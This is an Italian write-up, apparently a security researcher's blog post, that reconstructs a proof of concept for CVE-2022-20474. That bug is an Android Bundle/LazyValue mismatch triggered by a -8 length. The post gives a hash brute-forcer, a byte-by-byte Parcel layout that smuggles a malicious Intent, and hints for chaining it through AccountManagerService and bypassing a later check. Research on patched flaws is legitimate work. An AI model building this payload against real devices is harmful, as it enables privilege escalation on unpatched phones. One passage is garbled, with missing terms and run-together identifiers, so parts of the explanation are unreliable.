
PoC di CVE-2022-20474
Nota: prima di leggere questo articolo, dovreste avere una conoscenza di base delle vulnerabilità Bundle Mismatch. Se non avete ancora letto i seguenti riferimenti, vi consiglio di farlo:
Di recente stavo studiando attentamente l'articolo LeakValue di michalbednarski. Durante una discussione con Canyie, mi ha detto che nell'articolo veniva menzionato anche un caso di Self-changing Bundle nello scenario LazyValue. Così sono andato a cercare nel testo originale e in effetti c'era proprio questo passaggio, che avevo completamente saltato leggendo l'articolo di Michal. Il testo originale dice:
(Also
LazyValuewith negative length specified can be used (without using other bugs described in this writeup) to create self-changingBundle, the thingLazyValuewas created to eliminate. But that is another story (and separately reported to Google), in this exploit I'm aiming for more)
Michal si riferiva probabilmente a CVE-2022-20474 (bulletin, patch). Ho dato un'occhiata alla patch, ma la funzione presente nel link non era completa; l'ho completata e poi l'ho esaminata più attentamente:
@@ -4388,6 +4388,9 @@
public Object readLazyValue(@Nullable ClassLoader loader) {
int start = dataPosition();
int type = readInt();
if (isLengthPrefixed(type)) {
int objectLength = readInt();
+ if (objectLength < 0) {
+ return null;
+ }
int end = MathUtils.addOrThrow(dataPosition(), objectLength);
int valueLength = end - start;
setDataPosition(end);
return new LazyValue(this, start, valueLength, type, loader);
} else {
return readValue(type, loader, /* clazz */ null);
}
}
Nel codice, objectLength è il length del LazyValue; in realtà si tratta solo della lunghezza dell'oggetto variabile contenuto nel LazyValue, mentre la lunghezza dell'intero LazyValue è controllata dal campo mLength, cioè valueLength nel codice, che nel costruttore di LazyValue viene passato a mLength.
Confrontiamo ora il formato di layout di LazyValue:
/**
* | 4B | 4B |
* mSource = Parcel{... | type | length | object | ...}
* a b c d
* length = d - c
* mPosition = a
* mLength = d - a
*/
Sulla base di quanto sopra, possiamo ricavare i seguenti fatti:
mLength rappresenta la lunghezza dell'intero LazyValue; mLength = objectLength + 8 byte.objectLength deve essere maggiore o uguale a 0.LazyValue conserva solo mLength e non objectLength, perché quando LazyValue esegue una copia in memoria, copia l'intero oggetto.LazyValue.Poi, dopo averci riflettuto a lungo, siamo giunti alla conclusione che questi fatti non servivano a NULLA! Perché sulla base dei fatti sopra, si poteva modificare solo una volta durante la read, mentre sappiamo che l'idea centrale di Self-changed Bundle è modificare dopo che la read è stata completata: solo così si può aggirare il controllo di sicurezza.
Proprio quando stavamo per rinunciare, abbiamo scoperto alcuni dettagli nella descrizione della patch:
Addresses a security vulnerability where a (-8) length object would cause dataPosition to be reset back to the statt of the value, and be re-read again.
objectLength anomaloLì si dice che quando objectLength è -8 si verificano alcuni problemi; questo ci ha dato qualche spunto in più. A questo punto, LazyValue può ancora eseguire apply correttamente?
@Override
public Object apply(@Nullable Class<?> clazz, @Nullable Class<?>[] itemTypes) {
Parcel source = mSource;
if (source != null) {
synchronized (source) {
// Check mSource != null guarantees callers won't ever see different objects.
if (mSource != null) {
int restore = source.dataPosition();
try {
source.setDataPosition(mPosition);
mObject = source.readValue(mLoader, clazz, itemTypes);
} finally {
source.setDataPosition(restore);
}
mSource = null;
}
}
}
return mObject;
}
/**
* @see #readValue(int, ClassLoader, Class, Class[])
*/
@Nullable
private <T> T readValue(@Nullable ClassLoader loader, @Nullable Class<T> clazz,
@Nullable Class<?>... itemTypes) {
int type = readInt();
final T object;
if (isLengthPrefixed(type)) {
int length = readInt();
int start = dataPosition();
object = readValue(type, loader, clazz, itemTypes);
int actual = dataPosition() - start;
if (actual != length) {
Slog.wtfStack(TAG,
"Unparcelling of " + object + " of type " + Parcel.valueTypeToString(type)
+ " consumed " + actual + " bytes, but " + length + " expected.");
}
} else {
object = readValue(type, loader, clazz, itemTypes);
}
return object;
}
Si può vedere che la readValue effettiva inizia a leggere da mPosition, poi legge LazyType e objectLength in sequenza, quindi entra nel normale flusso di lettura del Value. Ad esempio, un Parcelable deve leggere ClassName e poi eseguire createFromParcel. Una volta completata la lettura, non c'è alcuna differenza rispetto a una normale Key-Value, e non influisce sulla serializzazione successiva. Rivedendo il tutto, l'idea centrale di Self-changed Bundle è modificare dopo la lettura; qui si tratta solo di una normale lettura fuori dai limiti, quindi questa strada non sembra percorribile.
E se invece il LazyValue non viene sottoposto ad apply in questo processo? In altre parole, continua a partecipare all'IPC come LazyValue; in questo caso viene chiamata la sua funzione writeToParcel:
public void writeToParcel(Parcel out) {
Parcel source = mSource;
if (source != null) {
synchronized (source) {
if (mSource != null) {
out.appendFrom(source, mPosition, mLength);
return;
}
}
}
out.writeValue(mObject);
}
L'intero LazyValue viene copiato direttamente, a meno che mLength = 0. Un momento! Prima ho detto che mLength = objectLength + 8 byte, e dalle informazioni della patch sappiamo che per innescare la vulnerabilità objectLength deve essere -8; quindi in questo caso mLength = 0 è verificato. In altre parole, in questo scenario l'intero LazyValue sparisce, viene copiata solo la String Key, e questo crea una scrittura mancante; la condizione per Self-changed Bundle è direttamente soddisfatta.
Ora che ne conosciamo la causa, possiamo iniziare la riproduzione; ma prima ci serve ancora un'infinità di dettagli.
static final int BUNDLE_MAGIC = 0x4C444E42; // 'B' 'N' 'D' 'L'
private static final int BUNDLE_MAGIC_NATIVE = 0x4C444E44; // 'B' 'N' 'D' 'N'
Sappiamo tutti che il layout in memoria di Bundle è più o meno il seguente:
/**
* | 4B | 4B | 4B |
* Bundle{| length | MAGIC | size | Key | Value | Key | Value | ...}
*
*/
MAGIC è il numero magico di Bundle nel layout di memoria; può essere BUNDLE_MAGIC o BUNDLE_MAGIC_NATIVE. La differenza più importante è che BUNDLE_MAGIC fa sì che le Key-Value vengano riordinate dopo la deserializzazione, come mostrato nel codice seguente:
/**
* Reads a map into {@code map}.
*
* @param sorted Whether the keys are sorted by their hashes, if so we use an optimized path.
* @param lazy Whether to populate the map with lazy {@link Function} objects for
* length-prefixed values. See {@link Parcel#readLazyValue(ClassLoader)} for more
* details.
* @return a count of the lazy values in the map
* @hide
*/
int readArrayMap(ArrayMap<? super String, Object> map, int size, boolean sorted,
boolean lazy, @Nullable ClassLoader loader) {
int lazyValues = 0;
while (size > 0) {
String key = readString();
Object value = (lazy) ? readLazyValue(loader) : readValue(loader);
if (value instanceof LazyValue) {
lazyValues++;
}
if (sorted) {
map.append(key, value);
} else {
map.put(key, value);
}
size--;
}
if (sorted) {
map.validate();
}
return lazyValues;
}
Il flag MAGIC alla fine influenza il valore di sorted in readArrayMap, innescando l'ordinamento della mappa. Nei commenti si dice anche che l'ordinamento viene effettuato tramite l'hash della String della key.
/**
* a
* ArrayMap{| Key1 | LazyValue1 | FakeKey2 | Value2 | Key3 | Value3 |}
*
*/
Immaginiamo di nuovo il processo di parsing di ArrayMap. Al primo giro, viene prima analizzata Key1 e poi si tenta di analizzare LazyValue1. Ma poiché objectLength di LazyValue1 è -8, il puntatore del parcel torna all'inizio di LazyValue1, cioè al punto a: questo è il fatto 4 menzionato sopra. A questo punto, la prima Key-Map è stata analizzata. La seconda Key-Value inizia ad essere analizzata dal punto a; in questo momento legge prima la lunghezza della String; supponendo che LazyValue1 contenga un Parcelable, questa lunghezza dovrebbe essere 4. Quindi la vera Key2 inizia dal punto a, cioè = + . Poiché non contiene alcun dato, la sua lunghezza è di 8 byte ( + ); la lunghezza totale della è 4 (indicatore di lunghezza) + 4 * 2 + 4 ("\0") = 16 byte. Togliendo gli 8 byte di , in fase di costruzione dobbiamo aggiungere altri 8 byte, cioè 2 . Poi si continua leggendo . Quindi, durante la prima analisi, dobbiamo usare una per gestire il problema dell'arretramento del puntatore causato da un con negativo; non ci interessa il valore di , perché viene usato solo nella prima analisi: è solo uno strumento usa e getta. Dato che è usa e getta, dopo la prima analisi vorrei che stesse lontano dai nostri dati critici; sono a contenere i dati malevoli. Sarebbe meglio che l'hash di fosse maggiore di quello di , così non influenzerebbe le analisi successive. Come descritto nel , possiamo raggiungere questo obiettivo regolando l'hash di ; lo vedremo in dettaglio nel . Poi si passa all'analisi di : con il è la solita storia, basta mettere in un contenente l' malevolo, ma ha alcuni vincoli aggiuntivi. Al termine della prima deserializzazione, il layout di dovrebbe essere il seguente, con lo strumento finito in fondo:
Key1-Value1 | Key3-Value3 | Key2-Value2
Tuttavia, come menzionato sopra in objectLength anomalo, la lunghezza di LazyValue1 è 0, quindi durante writeToParcel non viene affatto copiato. In realtà il layout è questo:
Key1 | Key3-Value3 | Key2-Value2
Dopo aver letto Key1, c'è ancora da leggere Value1, e qui si torna a leggere fuori dai limiti; Key3 deve anche farsi carico di leggere LazyValue1. Il primo int di Key3 deve fare sia da lunghezza della String sia da Type del LazyValue; questo significa che Key3 non può essere troppo corta, altrimenti l'hash è difficile da calcolare. Ho dato un'occhiata alla lista dei Type di LazyValue e ho scelto:
private static final int VAL_LIST = 11; // length-prefixed
Certo, puoi scegliere anche 12, 16 o 17; basta che non sia troppo corto.
Il secondo int di Key3 deve fare da Length del LazyValue; tramite esso possiamo controllare la lunghezza di LazyValue1 e far puntare il puntatore successivo all'inizio dell'Intent malevolo. Dirai che il contenuto di LazyValue1 non è valido? Non è un problema mio: finché non si chiama getXXX per fare apply, rimarrà per sempre un LazyValue.
Basta scrivere un brute forcer:
private static Pair<Integer, Integer> generateInt(){
while (true) {
Random random = new Random();
int number1 = random.nextInt();
int number2 = random.nextInt();
Parcel parcel = Parcel.obtain();
parcel.writeInt(11); //
parcel.writeInt(32);
parcel.writeInt(0);
parcel.writeInt(0);
parcel.writeInt(number1);
parcel.writeInt(number2);
parcel.writeInt(0);
parcel.setDataPosition(0);
String str = parcel.readString();
if (str.hashCode() >= "Cxxsheng".hashCode() && str.hashCode() < "Cxxsheng".hashCode() + 1000000)
{
parcel.recycle();
return new Pair<>(number1, number2);
}
parcel.recycle();
}
Ovviamente si può forzare anche Key2 per portarla più avanti, ma la lunghezza di Key2 è fissa a 4, piuttosto corta, e lo spazio di manovra è limitato; per Key3, invece, abbiamo lasciato un po' di spazio, quindi il brute force è più semplice. Supponiamo che Key1 sia la stringa "Cxxsheng". Vogliamo che l'hash di Key3 sia più grande di quello di "Cxxsheng", ma solo di poco; ho impostato 1000000, così avranno un'alta probabilità di restare sempre insieme, e il terzo incomodo Key2 non potrà intromettersi. Come detto sopra, i primi due int della string sono fissi. Quindi prima scriviamo VAL_LIST (che è anche la lunghezza della String); con il calcolo si scopre che mancano ancora 32 byte per arrivare all'Intent malevolo, e gli zeri rimanenti possono essere usati per il brute force. Ne ho scelti 2 e li ho forzati.
Tramite number1 e number2 è possibile controllare l'ordinamento del terzo valore in ArrayMap. Poiché ArrayMap ordina in base all'hashcode della key, il terzo valore può diventare il secondo dopo la deserializzazione, subito dopo il primo "Cxxsheng", come mostrato di seguito:
Bundle[{Cxxsheng=Supplier{VAL_PARCELABLE@28+0},[一段乱码]=[恶意的ByteArray], [一段乱码]=0}]
Si può notare che anche l'ordine di lettura sarà diverso da quello di scrittura. Dopo la scrittura, come analizzato prima, l'intero LazyValue viene perso, e la terza Key-Value viene riordinata al secondo posto, inclusi type e objectLength. Pertanto, il layout dell'area dati diventerà il seguente:
Il lettore può sfruttare da sé la classica catena di exploit AccountManagerService. Non mi dilungherò oltre sulla possibilità di sfruttamento, perché dipende dalla presenza della funzione checkKeyIntentParceledCorrectly nella patch di novembre 2022. Aggiungo una spiegazione: questa funzione sfrutta la simulazione del flusso di chiamata IPC per bloccare la catena di exploit AccountManagerService. Pertanto, su Android 12 o 13, anche se esiste la Mismatch, l'exploit potrebbe non riuscire; bisogna cercare un modo per bypassare questa funzione.
Possiamo riscrivere una funzione simile per simulare il flusso di chiamata IPC come segue:
private Bundle simulateIPCBundle(Bundle originBundle){
Parcel p = Parcel.obtain();
p.writeBundle(originBundle);
p.setDataPosition(0);
byte[] bs = p.marshall(); //debug的时候这里可以在这里看到parcel数据
// marshall不会改变Parcel指针
// p.setDataPosition(0);
Bundle simulateBundle = p.readBundle(getClass().getClassLoader());
p.recycle();
return simulateBundle;
}
Poi possiamo ammirare il diagramma di output dei log generato dalla simulazione del flusso IPC. Per i dettagli si può fare riferimento al mio codice GitHub:

Key2LazyValue1FakeKey2LazyValue1LazyTypeobjectLengthstringLazyValue1writeIntValue2Key2-Value2LazyValue1objectLengthKey2-Value2Key3-Value3Key2Key1Key3Key2-Value2Bundle mismatchValue3ByteArrayIntentKey3ArrayMapKey2-Value2| Valore | Descrizione |
|---|
| "Cxxsheng" | prima key |
| 4 | Verrà letto due volte: al primo giro rappresenta VAL_PARCELABLE; al secondo giro diventa la String Length della seconda Key |
| -8 | Verrà letto due volte: al primo giro rappresenta objectLength del LazyValue, causando l'arretramento del puntatore di lettura e quindi una doppia lettura; al secondo giro diventa la String Value della seconda Key |
| 0 | String Value della seconda Key |
| 0 | String Value della seconda Key |
| 1 | VAL_INTEGER |
| 0 | secondo Value |
| 11 | String Length della terza Key |
| 32 | String Value della terza Key |
| 0 | String Value della terza Key |
| 0 | String Value della terza Key |
| number1 | String Value della terza Key; questi due valori servono a regolare l'ordinamento |
| number2 | String Value della terza Key; questi due valori servono a regolare l'ordinamento |
| 0 | String Value della terza Key |
| 13 | VAL_BYTEARRAY |
| Lunghezza del LazyValue | calcolata |
| Lunghezza del ByteArray | calcolata |
| ByteArray | contiene la Key-Value malevola, cioè Intent.EXTRA_INTENT e il relativo Intent |
| Valore | Descrizione |
|---|
| "Cxxsheng" | prima key |
| 11 | VAL_LIST |
| 32 | Lunghezza del primo Value; che ciò che segue sia valido o meno non ha più importanza (tanto questo LazyValue non verrà apply-ato), punta direttamente all'inizio dell'Intent malevolo nel ByteArray |
| 0 | Valore nel LazyValue |
| 0 | Valore nel LazyValue |
| number1 | Valore nel LazyValue |
| number2 | Valore nel LazyValue |
| 0 | Valore nel LazyValue |
| 13 | Valore nel LazyValue |
| Lunghezza del LazyValue | Valore nel LazyValue |
| Lunghezza del ByteArray | Valore nel LazyValue |
Inizio ByteArray / Intent.EXTRA_INTENT | seconda key |
| Intent | secondo value |
| Terza Key-Value | è stato spostato in fondo |